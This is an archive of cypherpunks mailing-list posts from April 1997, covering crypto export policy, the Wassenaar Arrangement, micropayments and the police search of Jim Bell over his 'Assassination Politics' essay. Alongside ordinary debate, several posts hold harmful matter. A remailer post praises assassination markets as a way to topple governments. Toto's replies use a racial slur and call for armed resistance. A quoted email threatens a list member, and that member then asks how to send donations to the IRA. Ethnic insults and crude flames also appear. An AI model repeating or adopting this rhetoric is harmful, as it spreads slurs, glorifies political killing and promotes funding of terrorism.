John Young <jya@pipeline.com> writes:

> NYP reports today on the raging success of Germany's
> Brokat Informationssysteme in selling strong crypto, 
> thanks to US export restrctions. C2'sStronghold is cited as
> well. Brokat is negotiating with NSA to sell its technology 


of course, the story is incomplete without the mention of the letter
I got from C2Net's lawyers, and other Sandy Sandfort stuff.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Mon, 7 Apr 1997 09:04:01 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Cuba and AP
Message-ID: <33491B06.FF6@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


If people want to see the effect of an AP society have a look at Cuba.
Under the Batista regime $50 was sufficient to have someone killed.
There was anarchy, the police were corrupt, the mafia ran most of the
few parts of the country that worked - even they found the lack of order
a problem.

The result was Fidel Castro. The Batista regime could neither reform nor
survive. Any society that was threatened by AP would likewise collapse.

It is important to distinguish liberty and libertines. The libertine
recognises no check on individual rights, even when they affect the
rights of others. The inevitable result of libertinage is
authoritarianism.


	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 7 Apr 1997 12:15:04 -0700 (PDT)
To: Hallam-Baker <cypherpunks@toad.com
Subject: Re: AP Revisited
Message-ID: <3.0.32.19970407121308.00733510@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:48 AM 4/7/97 -0400, Hallam-Baker wrote:
>I seem to recall that the War on Drugs was a Bush proposal originally.
>Dole supported it and as with the CDA I would not expect a single 
>member of congress to stand up against charges of "drug dealers friend".

The War on Drugs was first declared by President Nixon. It has been a
failure ever since.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 7 Apr 1997 09:35:57 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Bell case and the liability of information...
Message-ID: <v0302094caf6ed0a0cbdf@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


X-Sender: pswire@pop.service.ohio-state.edu
Mime-Version: 1.0
Date:         Mon, 7 Apr 1997 09:54:35 -0400
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         Peter Swire <swire.1@OSU.EDU>
Subject:      Re: America Online and liability for dissemination of informatio
To:           CYBERIA-L@LISTSERV.AOL.COM

At 09:23 PM 4/6/97 -0700, Bob Stock wrote:

>Someone said:
>>>Look at it this way: what if this anonymous one had gone to his
>>>local library, went through the newspapers and collected
>>>classified ad forms.  Then sent them all in, publishing
>>>classifieds which said the same thing in 20 newspapers across the
>>>country.
>
>>the newspapers which published those ads would have
>>potential liability if they were negligent in their fact checking
>>before publishing them.
>
>Newspapers are legally required to check the facts of classified ads
>before publishing them in order to escape any potential libel
>liability?  You can't be serious.

        Sorry.  Check out the cases that Soldier of Fortune magazine lost
for failing to check its classified ads.  The cases involved "gun for hire"
classifieds, someone got shot, and the estate was permitted to sue the
magazine.

        The tort analysis used a Hand test, in which the cost of screening
the classified (on its face an invitation to commit a deadly crime) was
found to be less than the cost to society of allowing the magazine to run
such ads.

        The facts of SOF are very special, but they show at least one
scenario where courts have found liability for running a classified ad.

        Regards,

        Peter




Prof. Peter Swire
Ohio State University
College of Law
e-mail: swire.1@osu.edu
web: http://www.osu.edu/units/law/swire.htm (in early stages of construction)

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles Anthony" <canthony@info-nation.com>
Date: Mon, 7 Apr 1997 11:45:59 -0700 (PDT)
To: cypherpunks@toad.com
Subject: (Fwd) Re: AP Revisited
Message-ID: <199704071845.NAA16677@bitstream.net>
MIME-Version: 1.0
Content-Type: text/plain


------- Forwarded Message Follows -------

Date:          Mon, 07 Apr 1997 11:48:48 -0400
From:          Hallam-Baker <hallam@ai.mit.edu>
To:            Kent Crispin <kent@songbird.com>, cypherpunks@toad.com
Subject:       Re: AP Revisited


I think its quite wrong to see Clinton as someone who believes in 
the authoritarian position, the real problem is he cuts his cloth
according to the popular whim.


Think again. Clinton and his administration are rabid when it comes 
to cryopto policy and the expansion of the FBI and others ability to 
pry into the lives of innocent citizens.. The draft of the crypto 
legislation is a good example of how, when given an opportunity to 
act out of the general public's sight and grasp, he's in there 
seeking even more ridiculously easy ways to get into everybodies 
business. I mean the current draft requires only a govt request in 
order to obtain access to your email. NOT a court ordered/appproved 
warrant- They may as well ask to be allowed to open and read 
every letter and pkg at the post office too.(and if this draft 
becomes law they probably will)


All of these 'new' and neccessary' intrusions are Clinton 
proposals, not hold overs from some other admininstration. If he were 
opposed in principle he could certainly 'cut his cloth' along less 
authoratarian lines, following the lead of many of the 
administrations own committee reports that have come out against key 
escrow plans, but he will not budge on the issue. In fact, each time 
it is put back out there it gets worse.

Clinton's  ability to coopt left energy and appear to be less than he 
is is- earning appologistic comments like the one above- is  what is 
really frightening. When it comes to US citizens civil liberties, 
Clinton is more dangerous than Reagan and Bush put together and I 
wouldn't call either of them friends of the people.



Since it has been thrown around so much, remember that Hitler was a 
most powerful speaker, who  connected well with the masses, 
couching nazi policy in the terms that gave the people what they 
wanted to hear. They too thought he was a most sincere and earnest 
fellow, with only the good of the country at heart.


A 'Nixon' would never get away with this sort of proposal- but a 
telegenic, non-enhaling, sax playing, mcdonalds eating, aw shucks, 
(they lay it on thick you think?) well meaning bubba? 


--C


**********************************************************************
Charles Anthony
canthony@info-nation.com
http://www.info-nation.com

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rlpowell@calum.csclub.uwaterloo.ca (Robin Lee Powell)
Date: Mon, 7 Apr 1997 06:59:57 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Why Digital Video Disks are late to market
In-Reply-To: <199702202056.MAA22465@toad.com>
Message-ID: <RLPOWELL.97Apr7095949@calum>
MIME-Version: 1.0
Content-Type: text/plain


In article <199702202056.MAA22465@toad.com> Anonymous <nobody@replay.com> writes:

   Path: news.csclub.uwaterloo.ca!not-for-mail
   From: Anonymous <nobody@replay.com>
   Newsgroups: csc.lists.cypherpunks
   Date: 20 Feb 1997 17:14:06 -0500
   Organization: University of Waterloo Computer Science Club
   Lines: 7
   Sender: daemon@calum.csclub.uwaterloo.ca
   Approved: mail2news@csclub.uwaterloo.ca
   Distribution: csc
   NNTP-Posting-Host: calum.csclub.uwaterloo.ca
   Precedence: bulk
   Xref: news.csclub.uwaterloo.ca csc.lists.cypherpunks:32284

   > ... there apparently has been some speculation among the U.S. PC community
   > that Matsushita may be stonewalling on the software-licensing issue so that
   > it can establish its hardware-based decryption solution in the marketplace.

   The day it gets published in software is the day someone runs a
   disassembler on it.  That's all there is to it.


The day it gets produced in hardware is the day someone starts to
reverse-engineer it.  Harder, yes, but possible.


-Robin




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Mon, 7 Apr 1997 14:59:27 -0700 (PDT)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199704072109.OAA13107@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Embedded in Tim C[rook] May's babblings are preposterous lies, wild 
distortions, child pornography (both as graphic descriptions and in JPEG 
format), ethnic slurs, and racial epithets.

  \\\\\|/////
   \\\\|////
   < * | * >
   |   *   |
    \( . )/
     \___/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Mon, 7 Apr 1997 12:16:25 -0700 (PDT)
To: Secret Squirrel <nobody@squirrel.owl.de>
Subject: Re: Helping Prof. Jim Bell
In-Reply-To: <5i0smu$75o@life.ai.mit.edu>
Message-ID: <3349482F.237C@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Secret Squirrel wrote:
> 
> If the FBI story is not yet another hoax, I think that it is
> a good diea to call jimbell and maybe donate him some $$ for
> lawyers or something like that.

I'm not sure sending him money for lawyers would be most helpful.

I was thinking another type of profession entirely.


Until Jim actually gets charged for something I don't see that
freedom of speech is the issue. Jim appears to be in trouble
for reasons not associated with his AP rants. The AP manifesto
has made it worse and attracted the opinion of the press but it
does not appear to have caused his trouble, merely affected the 
way he was dealt with.

AP probably caused there to be 20 heavilly armed cops rather than
two unarmed ones. It probably meant that casual comments were
taken rather more seriously than otherwise. Bell was always much
more wacko off list than on.


	Phill




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 7 Apr 1997 16:25:01 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cuba and AP
Message-ID: <199704072324.QAA11970@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Hallam-Baker, counting on cypherpunks readers to be unwitting
victims of ten second sound-byte mentality, wrote:
> 
> If people want to see the effect of an AP society have a look at Cuba.
> Under the Batista regime $50 was sufficient to have someone killed.
> There was anarchy, the police were corrupt, the mafia ran most of the
> few parts of the country that worked - even they found the lack of order
> a problem.
> 
> The result was Fidel Castro. The Batista regime could neither reform nor
> survive. Any society that was threatened by AP would likewise collapse.

  So Hallam-Baker recognizes the AP system as a valid way to bring
about the collapse of unpopular, corrupt dictatorships.

> It is important to distinguish liberty and libertines. The libertine
> recognises no check on individual rights, even when they affect the
> rights of others. The inevitable result of libertinage is
> authoritarianism.

  The result of men living together on the face of the earth leads to
the inevitable result of authoritarianism.
  Systems such as "Assassination Politics" can aide in fighting against
unbearable corruption of power by lowering the cost of assassination
and thus raising the cost of corruption.

  The stench in Cuba was so bad under the U.S. backed Batista regime
that Guerva and Castro were a breath of fresh air for the majority of 
Cuban people.
  Despite years of harassment, invasion, and economic attack on Cuba
by the shameless 'free' countries <yuk,yuk> of the world, Castro is 
still a better option for the Cuban people than other options.
  When this ceases to be the case, then another variation of the Cuban
AP system will arise (perhaps Bell's?), and we will see the rise of a
new Cuban government.

  Despite the grand support the IRS is receiving from the government-
owned members of the cypherpunks list, it can hardly be argued that the
U.S. government has a problem with "Assassination Politics," since they
have availed themselves of it in the past, but only with the power of
AP being in the hands of the citizens instead of their own ruling hands.

TruthMonger (#7)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 7 Apr 1997 16:24:56 -0700 (PDT)
To: Lucky Green <shamrock@netcom.com>
Subject: War on Thugs / was Re: AP Revisited
In-Reply-To: <3.0.32.19970407121308.00733510@netcom10.netcom.com>
Message-ID: <33497A5C.1A94@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green wrote:
> 
 
> The War on Drugs was first declared by President Nixon. It has been a
> failure ever since.

  i.e. - The War on Drugs was declared by a traitorous criminal
who was guilty of far greater crimes than inhaling the smoke of
a plant put on earth by God, for use by mankind.
  Nixon's position of power shielded him from being punished for
his crimes against the nation, unlike happy hippies who serve 
hard jail time for their 'sins'.

  Perhaps Jim Bell's 'War on Thugs' via AP is only a furtherance
of the "Assassination of Political Careers" instituted by Deep
Throat and the Washington Post.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 7 Apr 1997 16:25:07 -0700 (PDT)
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: Helping Prof. Jim Bell
In-Reply-To: <5i0smu$75o@life.ai.mit.edu>
Message-ID: <33497CB9.3232@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Hallam-Baker wrote:
> Until Jim actually gets charged for something I don't see that
> freedom of speech is the issue.

>  The AP manifesto...merely affected the way he was dealt with.

  Hallam-Baker is apparently incapable of understanding his own
trail of logic.
  He tells us that freedom of speech is not the issue, and then
proceeds to tell us that Jim Bell was dealt with differently than
others for exercising his freedom of speech.
 
  Now perhaps he can explain to us how race issues are not involved
when cops beat the living crap out of niggers when arresting them
for traffic violations.
  ("Until the nigger in intensive care 'gets charged with something'
I don't see that race is an issue.")

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 7 Apr 1997 17:37:19 -0700 (PDT)
To: Toto <hallam@ai.mit.edu>
Subject: Re: Helping Prof. Jim Bell
In-Reply-To: <5i0smu$75o@life.ai.mit.edu>
Message-ID: <v03007801af6f4f6a3198@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:01 PM -0600 4/7/97, Toto wrote:

>  Hallam-Baker is apparently incapable of understanding his own
>trail of logic.
>  He tells us that freedom of speech is not the issue, and then
>proceeds to tell us that Jim Bell was dealt with differently than
>others for exercising his freedom of speech.

Look, we know Jim Bell the writer. (Some people have met him and know him
as Jim Bell the loon, according to their assessments here, but that's a
different, though possibly relevant, point.)

An error many are making here is to assume that Bell was searched because
of his "Bell the writer" personna. This is clearly incorrect. The search
warrants dealt with many issues, as have been detailed in several posts
here, and in the stuff Greg Broiles put up in scanned format.

Assuming that his writings here were the cause of the actions against him
is just plain incorrect. His writings may have affected the assessment of
"likelihood" and "intent," given the various other things, but how else
should it be? One's spoken or written words may indeed be protected by the
First, against prior restraint and censorship, but they can generally be
used, if available.

In my posts I've carefully avoided evaluating whether Bell will be found
guilty of any actual crime...I don't know the evidence, or the legal code,
well enough. I _have_ said that I don't find it _surprising" that the Feds
would think him a plausible threat, at least worthy of a search.

They may read his rants and ultimately decide his threats were not
plausible. They may decide the chances of conviction aren't good. Who
knows?

Bell himself said he was not surprised.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 7 Apr 1997 17:17:49 -0700 (PDT)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Wassenaar Arrangement now available
In-Reply-To: <3.0.1.32.19970405184302.008065a0@mail.io.com>
Message-ID: <33498603.AFC@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> In early March, I filed a FOIA request with the Arms Control & Disarmament
> Agency, a division of the Department of State, for a copy of the Wassenaar
> Arrangement, a multinational agreement which is intended to regulate and
> coordinate the regulation of military and "dual-use" items. (Cryptographic
> software and hardware is often considered a "dual-use" item.)
> 
> I received a copy of the Arrangement last week, and have converted it to
> HTML. It is available on the web at
> 
> <http://www.parrhesia.com/wassenaar/>, or
> <https://www.parrhesia.com/wassenaar/> for the security-conscious.
> 
> The document itself does not refer to cryptography or cryptographic
> software/hardware. The last page of the document - the "Munitions List" was
> blank; but the document was marked "released in full". I'm going to compare
> what I've got with the various pieces of the Arrangement which have been
> released through other sources to see if I need to make a supplemental
> request for more information.

  The disparity between various informational 'releases' of 
information surrounding the Wassenaar Agreement points to the
real intentions of those involved, which is to regulate the
availability to strong crypto not so much through legislation,
as through uncertainty surrounding legal issues which can result
in severe penalties to those who might chance to cross ill-defined
legal lines.
  In a previous post, I mentioned a law enforcement official who
responded to my question about one of the finer points of the law
with the reply, "I'm not paid to 'know' the law, I'm paid to
'enforce' it."
  i.e. No matter what action you perform, the interpretation that
the government uses to fuck you in the ass will take an opposite
position on the matter.

  I have seen back-to-back cases in the same courtroom, with the
same judge, where government prosecutors argued diametrically
opposed positions in order to convict the accused.
  The result? Two convictions.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 7 Apr 1997 16:50:31 -0700 (PDT)
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: Helping Prof. Jim Bell
In-Reply-To: <5i0smu$75o@life.ai.mit.edu>
Message-ID: <v03007804af6f310c7004@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


Although I don't disagree with Phill in general, I note from the IRS
agent's affidavit that the reason given for searching his house was they
thought he was gonna do the AP thing after all. So AP does appear to have
caused if not all his troubles, at least the ones from last week.

-Declan

At 3:17 PM -0400 4/7/97, Hallam-Baker wrote:
>
>Until Jim actually gets charged for something I don't see that
>freedom of speech is the issue. Jim appears to be in trouble
>for reasons not associated with his AP rants. The AP manifesto
>has made it worse and attracted the opinion of the press but it
>does not appear to have caused his trouble, merely affected the
>way he was dealt with.
>
>AP probably caused there to be 20 heavilly armed cops rather than
>two unarmed ones. It probably meant that casual comments were
>taken rather more seriously than otherwise. Bell was always much
>more wacko off list than on.
>
>
>	Phill



-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 7 Apr 1997 19:02:25 -0700 (PDT)
To: Kent Crispin <kent@songbird.com>
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <199704071645.JAA23089@crypt.hfinney.com>
Message-ID: <33499E33.59C8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin wrote:
> 
> I think it is fairly clear that AP is a Chimera.  The problem with
> lurid fantasies like it, though, is that they give the press and
> politicians convenient targets.  In fact, a case could be made for
> considering Jim Bell as a NSA shill.  Certainly he is a perfect foil
> for a statist agenda.

  So, now Kent is volunteering to testify to the fact that Jim Bell is
an NSA shill. (and still seems ashamed of his .gov address)
  I am waiting for a post from Kent that is sufficiently lucid that it
can be replied to without drinking an extra bottle of Scotch to follow
his twisted trail of logic. 


-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 7 Apr 1997 19:02:37 -0700 (PDT)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Fan mail from Hallam-Baker...
In-Reply-To: <67eT5D75w165w@bwalk.dm.com>
Message-ID: <3349A104.25D4@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> 
> >Sender: hallam@etna.ai.mit.edu
> >From: Hallam-Baker <hallam@ai.mit.edu>
> >Subject: Re: I hope thr IRA nails Hallam-Baker...
> >
> >You are now in very serious trouble.
> >
> >I have contacted the FBI and other agencies. You will encounter
> >difficulty in travelling to certain foreign countries.
> >
> >You may have put your own life at risk. The IRA is not the only
> >terrorist group in Ireland, its opponents make a point of assasinating
> >anyone who openly supports IRA activities.

  The terrorist group Hallam-Baker is referring to is the
UK government.
  They refer to QEII as 'Ms. Big'.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 7 Apr 1997 17:00:55 -0700 (PDT)
To: cypherpunks@toad.com
Subject: New Paper by Ron Rivest
Message-ID: <v03020968af6f38a4f91e@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
To: "Micropay (E-mail)" <micropay@ai.mit.edu>
Subject: New Paper by Ron Rivest
Date: Mon, 7 Apr 1997 16:18:51 -0400
MIME-Version: 1.0
Sender: owner-micropay@ai.mit.edu
Precedence: bulk
Reply-To: micropay@ai.mit.edu


Ron Rivest has just added a new paper on Micropayments to his Web site:

Electronic Lottery Tickets as Micropayments (rump session talk given at the
Financial Cryptography '97 conference)
http://theory.lcs.mit.edu/~rivest/publications.html

Its in Postscript, perhaps when the HTML Math proposal finally appears...
(Three years and counting so far).

	Phill


Phillip M. Hallam-Baker
Visitng Scientist
MIT Laboratory for Artificial Intelligence.
hallam@ai.mit.edu
http://www.ai.mit.edu/people/hallam/hallam.html

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 7 Apr 1997 16:53:43 -0700 (PDT)
To: Vebis The Great Spamholio <dlv@bwalk.dm.com>
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <RwqN5D2w165w@bwalk.dm.com>
Message-ID: <Pine.SUN.3.91.970407194901.28014F-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 4 Apr 1997, Vebis, The Great Spamholio wrote:

> Uh, huh huh, "I AM SPAMHOLIO", huh huh, huh huh, that was cool, huh huh
> huh huh, "I need spam for my UUCPio" huh huh, "Come out with your
> filters down" huh huh, huh huh.  Spam, spam, spam, spam...

Vebis you buttmunch, have you been eating magic mushrooms again?  You'd 
better hide before the men in the white coats take you away and lock you 
in a nice padded room... Huh huh, huh huh,.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 7 Apr 1997 17:31:43 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks FAQ
In-Reply-To: <v03007801af6ee1d27218@[207.167.93.63]>
Message-ID: <g4eT5D74w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:
> * First, calling for _others_ to write a FAQ, or to "collectively" write a
> FAQ, rarely works. (I'm not criticizing Paul, just noting historical truth.)
>
> * Second, many FAQs have been started, few have been finished.

An excellent FAQ from L.Deitweller was shot down by Timmy May and his
cronies precisely because Timmy was envious of LD's ability to do what
Timmy couldn't do.

<blah, blah, blah>

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 7 Apr 1997 17:31:59 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Fan mail from Hallam-Baker...
In-Reply-To: <334920D5.ABD@ai.mit.edu>
Message-ID: <67eT5D75w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


>Sender: hallam@etna.ai.mit.edu
>Message-Id: <334920D5.ABD@ai.mit.edu>
>Date: Mon, 07 Apr 1997 12:29:09 -0400
>From: Hallam-Baker <hallam@ai.mit.edu>
>X-Mailer: Mozilla 3.0 (X11; I; OSF1 V4.0 alpha)
>Mime-Version: 1.0
>To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
>Subject: Re: I hope thr IRA nails Hallam-Baker...
>References: <5i4971$iug@life.ai.mit.edu>
>Content-Type: text/plain; charset=us-ascii
>Content-Transfer-Encoding: 7bit
>
>You are now in very serious trouble.
>
>I have contacted the FBI and other agencies. You will encounter
>difficulty in travelling to certain foreign countries.
>
>You may have put your own life at risk. The IRA is not the only
>terrorist group in Ireland, its opponents make a point of assasinating
>anyone who openly supports IRA activities.
>
>	Phill.

Paul, or someone in U.K. -
I'd like to donate $1 to the IRA every time Hallam-Baker posts to
this mailing list.  Can someone please tell me a convenient way
to send them donations?  Thank you very much.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 7 Apr 1997 19:02:53 -0700 (PDT)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Is Cynthia H. Brown "pissing up a rope"? / was Re: From the "pissing up a rope" file...
In-Reply-To: <199704080058.UAA21322@homer.iosphere.net>
Message-ID: <3349A7E3.2D0F@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Cynthia H. Brown wrote: 
> On Fri, 4 Apr 1997, Robert Hettinga wrote:
> > I thought some people on the list might feel very strongly about this
> > issue and would like to cast their vote.
> > The NBC Interactive Question of the Week:
> > Should there be one international group that governs and controls web
> > content?
> 
> Results pasted in from http://www.nbceurope.com/
>                   85% said no...
>                   while 15% said yes.
> 
> Interesting that the "sheeple factor" was as high as 15%.  (Or was it
> higher? Did 20 cypherpunks submit "no" 100 times each?)
> At
> the very least they could have implemented a "have-you-voted-yet"
> cookie to weed out the technologically impaired who might want to
> vote twice.

  Is Cynthia H. Brown pissing up a rope?
                  Toto said yes, 85 times.
                  Cynthia said no, 15 times.

  Not that I'm a troublemaker...
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 7 Apr 1997 19:36:18 -0700 (PDT)
To: snow <snow@smoke.suba.com>
Subject: AP--the choice of Postal Workers everywhere
In-Reply-To: <199704080025.TAA03114@smoke.suba.com>
Message-ID: <3349AB27.4801@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> Crispy Critters wrote:
> >  you are either born into that social contract, or you move
> > into it.  In either case the social contract that makes up the state
> > predates your involvement.  You are free to accept or reject the
> > terms of that social contract.  If you chose to reject them, then you
> > should leave -- since the individuals who composed that contract were
> > there before you, their rights take priority.
> 
>         BULLSHIT. I don't have a choice. I would like to leave, but
> everywhere is already claimed by fucking statist pricks. There is no
> place left where a person can go and be free of self important pricks
> who think that it is _their_ right to infringe on _my_ rights.

  Since the land thieves have everything locked up, the only option
is to stand and fight.
  Wise conquerers always leave the disenchanted a small, desolate
place they can go to lick their wounds. The current fascists idiots
in power don't have the sense to do that. The result is a civilization
that is falling apart because those who don't want to take it in the
ass have no option except to stick around and fight.

>         If the contract was written by people who no longer exist, and
> enforced from the top, by force then you _do_ have the right to change
> the system from without. Especially since (in the context of American,
> French, and several other "[un]social contracts") they were themselves
> brought about by force and violence, often with the support of less than
> a majority.

  And you can never ignore the 'majority of one'.
  If the government deems it their right to act as they will, as
a result of being heavily armed, then they complain in vain about
the individual deeming it their right to act as they will, as a
result of being heavily armed.
  What is good for the gander (government) is good for the
goose (postal worker).
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 7 Apr 1997 17:45:42 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Bot-generated insults
In-Reply-To: <Pine.SUN.3.91.970407195822.28014G-100000@beast.brainlink.com>
Message-ID: <uFgT5D77w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian <sunder@brainlink.com> writes:

> It figures you wouldn't know any other language than BASIC, and nadly
                                                                  ^^^??
> written basic at that.  I've seen better code written by chimpanzees.

If Ray "Arsen" Arachelian can work for Earthweb, LLP, as an "associate
network adiministrator", then I'm not surprised if they have chimpanzees
writing Java code as well.

I used to think that LISP is the best language for such apps, but wouldn't
debase it by writing a simulation of a dandruff-covered Armenian in it.

****************************************************************************

(DEF 'randomize '(LAMBDA ()
(SETQ RSEED (DTIME))
(SETQ RSEED (- RSEED (* 12345(/ RSEED 12345))))))


(DEF 'random '(LAMBDA (s)
   (SETQ RSEED (+ RSEED 911))
   (COND ((GT RSEED 15000) (SETQ RSEED (- RSEED 15000))))
   (+ 1 (- RSEED (* s (/ RSEED s))))
))

~
(DEF 'statement '(LAMBDA ()
(SETQ R (random 020))
(COND
((EQ R 001) (PRINC "Let the games begin!"))
((EQ R 002) (PRINC "Sweet Jesus!"))
((EQ R 003) (PRINC "Not that!"))
((EQ R 004) (PRINC "At last!"))
((EQ R 005) (PRINC "Land O' Goshen!"))
((EQ R 006) (PRINC "Is that all?"))
